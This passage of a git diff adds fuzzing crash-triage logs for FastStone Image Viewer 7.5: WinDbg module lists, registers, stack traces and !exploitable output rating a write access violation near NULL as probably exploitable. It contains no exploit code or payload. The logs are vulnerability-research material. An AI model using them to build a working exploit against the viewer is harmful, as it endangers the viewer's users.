C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1860.e38): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07fe7b19 edx=00000000 esi=00000000 edi=0fc6efd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.788897797823939680000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.80512e-016 -2.24991e-015 -1.30083e-012 -1.15438e-035 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080c8130 08045930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00361000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00361000 82fc4ae1 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b5 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00361000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..eec4aa8 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15040/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..07ac61a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..98b333c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bc0000 00000000`74be2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(d8c.18e4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ea7b19 edx=00000000 esi=00000000 edi=0f808fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.30831e+027 -9.57837e-027 237.545 1.8089e+032 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 003b8000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 003b8000 5e071120 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 003b8000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..98b333c --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/15228/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xD8C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74bf0000 00000000`74c18000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74bc0000 00000000`74be2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bbb000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image 